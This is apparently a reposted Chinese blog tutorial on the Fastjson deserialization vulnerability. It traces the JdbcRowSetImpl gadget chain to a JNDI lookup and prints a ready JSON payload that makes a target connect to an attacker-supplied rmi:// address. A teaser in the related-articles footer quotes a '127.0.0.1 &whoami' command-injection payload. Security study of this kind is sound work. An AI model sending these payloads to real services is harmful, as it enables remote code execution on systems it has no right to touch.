Fastjson反序列化漏洞3:JdbcRowSetImpl利用链-JNDI注入

news/2024/9/28 11:25:27

第二条链

Fastjson的三条链,现在我们来讲第二条com.sun.rowset.JdbcRowSetImpl

  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

Fastjson的三条链,现在我们来看第二条com.sun.rowset.JdbcRowSetImpl

setAutoCommit、connect、setDataSourceName

setAutoCommit

这个是jdk原生类,下载好源码后打开

发现JdbcRowSetImpl的setAutoCommit中调用了connect

image

connect

跟进connect,发现调用链lookup,这不就可以JNDI注入了吗

image

内容是DataSourceName

setDataSourceName

顺势找到setDataSourceName,有setter方法,可以使用fastjson为其添值

image

构造poc

直接发送如下json即可

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://【写rmi地址】/abc", "autoCommit":true}

效果

懒得搞rmi服务器,所以这里使用yakit的dnslog,看看是否有发出请求
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/30288.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Sychronized的锁升级过程是怎样的

`synchronized`关键字的锁升级过程是Java为了提高锁的性能,减少在无竞争或多线程轻度竞争情况下的开销而设计的一套机制。这一过程主要涉及以下四个阶段:1. 无锁状态:当一个对象刚创建时,并没有锁与其关联,处于无锁状态。 2. 偏向锁(Biased Locking):-初始化:当第一个…

西门子博途软件安装及使用

西门子博途软件安装及使用 一、博途软件的简介博途软件可以对西门子300、400、1200及1500产品进行组态、编程和调试。TIA博途软件是一个系统,里面包含有多种软件,可以满足用户在不同自动化控制系统中的各种需求。因此,博途软件要求的电脑配置较高,且安装文件较大,但安装过…

记一些CISP-PTE题目解析

本文CISP-PTE题目解析包括:基础题目的命令执行、文件上传突破、流量分析、代码审计、SQL注入、无回显命令执行,以及二阶SQL注入等。0x01 命令执行直接payload: 127.0.0.1 &whoami,发现可以成功执行whoami命令然后ls ../ ,发现有个key.php文件尝试用cat命令查看发现不行…

助听器降噪神经网络模型

具体的软硬件实现点击 http://mcu-ai.com/ MCU-AI技术网页_MCU-AI人工智能 本文介绍了一种用于实时语音增强的双信号变换 LSTM 网络 (DTLN),作为深度噪声抑制挑战 (DNS-Challenge) 的一部分。该方法将短时傅立叶变换 (STFT) 和学习分析和综合基础结合在堆栈网络方法中,参数少…

在 WPF 中集成 ASP.NET Core 和 WebView2 用于集成 SPA 应用

背景 我们有些工具在 Web 版中已经有了很好的实践,而在 WPF 中重新开发也是一种费时费力的操作,那么直接集成则是最省事省力的方法了。 修改项目文件 我们首先修改项目文件,让 WPF 项目可以包含 ASP.NET Core 的库,以及引用 WebView2 控件。 <Project Sdk="Microso…

【湿地探秘】守护蓝色星球的绿色之肾

在地球的广阔画卷中,湿地犹如镶嵌其中的翡翠,不仅孕育着丰富的生物多样性,更是自然界不可或缺的调节器。今天,让我们一同深入了解湿地的基本概念、我国湿地的概貌、湿地的多样类型,以及保护湿地对于人类和地球的深远意义。湿地的基本概念湿地,被誉为“地球之肾”,是地球…